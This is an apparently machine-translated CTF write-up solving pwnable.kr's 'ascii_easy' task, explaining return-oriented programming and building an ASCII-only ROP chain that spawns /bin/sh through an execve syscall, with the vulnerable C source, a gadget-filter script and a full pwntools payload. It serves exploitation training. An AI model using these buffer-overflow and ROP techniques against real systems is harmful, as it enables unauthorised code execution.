使用pwnable.kr 26解决问题-ascii_easy。 我们从头开始一劳永逸地处理ROP小工具

图片

在本文中,我们将通过pwnable.kr网站解决第26个任务,并了解ROP是什么,它如何工作,为什么如此危险,并与其他复杂的战斗人员一起组成ROP链。

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我还将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

Ascii_easy工作解决方案


我们继续第二部分。 我马上要说,这比第一个困难,但是这次他们为我们提供了程序的源代码。 不要忘记此处(https://t.me/RalfHackerPublicChat)和此处(https://t.me/RalfHackerChannel)的讨论。 让我们开始吧。

单击ascii_easy标题图标。 我们提供了通过ssh连接的地址和端口。

图片

我们通过SSH连接,并看到了标志,程序,源代码和libc库。

图片

让我们看一下源代码。

#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); } 

让我们将其分类。 该程序将字符串作为参数。

图片

在这种情况下,字符串应仅包含ASCII字符。

图片

还分配了一个具有已知基地址以及读取,写入和执行权限的存储区。 libc库位于此区域中。

图片

除所有内容外,该程序还具有漏洞功能。

图片

此外,如果检查程序,则可以确保程序具有不可执行的堆栈(参数NX)。 我们将通过编译ROP做出决定。

图片

让我们将库复制到我们自己。

 scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/ 

现在,您需要组装ROP链。 为此,请使用ROP小工具。

 ROPgadget --binary libc-2.15.so > gadgets.txt 

在gadgets.txt文件中,我们具有所有可能的ROP链(下面显示了第一个示例10)。

图片

问题是我们需要选择仅由ascii字符组成的字符。 为此,我们编写了一个简单的过滤器,该过滤器将仅保留那些地址,该地址的每个字节属于从0x20到0x7f(含0x20)的间隔。

 def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close() 

运行该程序,并获得一个令我们满意的ROP小工具地址列表。

扎小玩意


许多人要求提供有关面向返回的编程的更多详细信息。 好的,让我们举一个带有插图的例子。 假设我们有一个缓冲区溢出漏洞和一个不可执行的堆栈。

ROP小工具是一组指令,这些指令以return语句ret结尾。 通常,小工具可以从功能的结尾中选择。 让我们以一些功能为例。 在每一个中,选择ROP小工具(以红色突出显示)。

图片

图片

图片

因此,我们有几个ROP链:

 0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret 0x000ed7cd: pop ebx; pop esi; ret 0x000ed7ce: pop esi; ret 0x00033837: pop ebx; ret 0x0010ec1f: add esp, 0x2c; ret 

现在,让我们找出什么样的野兽ROP链。 当缓冲区溢出时,我们可以重写返回地址。 假设现在应该在目标函数中执行ret指令,也就是说,在堆栈的顶部有一些有效地址。

例如,我们要执行以下代码:

 add esp, 0x2c add esp, 0x2c add esp, 0x2c mov eax, edx pop ebx pop esi ret 

我们必须用以下地址重写有效的返回地址:

 0x0010ec1f 0x0010ec1f 0x0010ec1f 0x000ed7cb 

要了解为什么它会起作用,让我们看下面的图片。

图片

因此,我们将返回到ROP链的第一个地址,而不是返回有效地址。 执行第一个命令后,ret指令会将程序移至堆栈上的下一个地址,即第二个命令。 第二个命令也以ret结尾,该命令也移至下一个命令,其地址在堆栈上指示。 因此,我们实现了之前编译的代码的执行。

通过ROP链接进行ascii_easy


首先,我们将找出溢出缓冲区所需的字节数。 在gdb中运行程序,并将该行输入到输入中。

图片

并且程序崩溃到地址“ bbbb”,这意味着填充为32个字符。

使用execve函数操作ROP最方便。 便利在于通过寄存器传递参数。 让我们在libc库中找到此函数。 可以使用GDB来完成。

图片

但是,如果将函数库加载地址添加到函数地址中,则会发现它不满足ascii条件。

图片

但是还有另一个选择来调用该函数。 这是通过系统调用。 在Linux上,每个系统调用都有其自己的号码。 该编号必须位于EAX寄存器中,然后是int 0x80中断调用。 完整的siscall表可在此处查看。

图片

因此,execve函数具有数字11,即,值0xb应该位于EAX寄存器中。 参数通过EBX寄存器(参数行开头的地址),ECX(参数行指针的地址)和EDX(参数环境变量指针的地址)进行传输。

图片

我们需要将字符串“ / bin / sh”传递给函数。 为此,我们需要将其写入允许记录的位置,并将字符串的地址作为参数传递。 该行必须保存4个字符,即 '/ bin'和'// sh',因为寄存器每个发送4个字节。 为此,我找到了以下小工具:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret 

这个小工具:

  1. 从堆栈中获取用于写入字符串的地址,并将其放入edx寄存器中,以使eax无效。
  2. 它从堆栈中获取一个值并将其放在edi中。
  3. 它将值从edi复制到edx中的地址(它将我们的行写入所需的地址)。
  4. 它将从堆栈中获取另外两个值。

因此,对于其操作,必须传输以下值:

 0x555f3555 ;    memory_addr ;     (edx) 4__ ; 4    (edi) 0x55687b3c ;    4__ ;    (esi) 4__ ;    (edi) 

然后,您可以运行相同的小工具来复制该行的第二部分。 因为该库已加载到可读取,写入和执行的存储区中,所以找到要写入的地址将不难。

图片

满足ascii条件的任何地址都可以在那里。 我的地址为0x55562023。

现在我们需要以空字符结尾。 对于此任务,我使用以下小工具链:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x5560645c : mov dword ptr [edx], eax ; ret 

这个小工具:

  1. 从堆栈中获取空条目的地址,并将其放入edx寄存器中,使eax无效。
  2. 从堆栈中取值。
  3. 将值从零的eax复制到edx中的地址。

因此,对于其操作,必须传输以下值:

 0x555f3555 ;    memory_addr+8 ;    0 -   (edx) 4__ ;    edi 0x5560645c ;    

因此,我们将字符串复制到内存中。 接下来,您需要填写寄存器以传输值。 由于在execve中调用的“ / bin / sh”程序将没有自己的参数和环境变量,因此我们将向其传递空指针。 在ebx中,我们在行上写地址,在eax中,我们写11-execve siskol的编号。 为此,我找到了以下小工具:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x556d2a51 : pop ecx ; add al, 0xa ; ret 0x5557734e : pop ebx ; ret 0x556c6864 : inc eax ; ret 

这个小工具:

  1. 将来自堆栈的值放入edx,使eax无效。
  2. 将值从堆栈移到edi。
  3. 将值从堆栈移至ecx,添加零eax 10。
  4. 将值从堆栈移至ebx。
  5. 将eax从10增加到11

因此,对于其操作,必须传输以下值:

 0x555f3555 ;    memory_addr+8 ;  null (edx) 4__ ;    edi 0x556d2a51 ;    memory_addr+8 ;  null (ecx) 0x5557734e ;    memory_addr ;  -(ebx) 0x556c6864 ;    

并且我们结束了ROP链,但有一个例外。

 0x55667176 : inc esi ; int 0x80 

以下是上述内容的缩写和一般记录。

图片

并形成有效载荷的代码。

 from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload) 

图片

图片

坦率地说,对我而言,由于某种原因,这是该站点中最困难的任务之一...

越来越复杂...您可以加入Telegram 。 让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全问题上互相帮助。

Source: https://habr.com/ru/post/zh-CN479184/


All Articles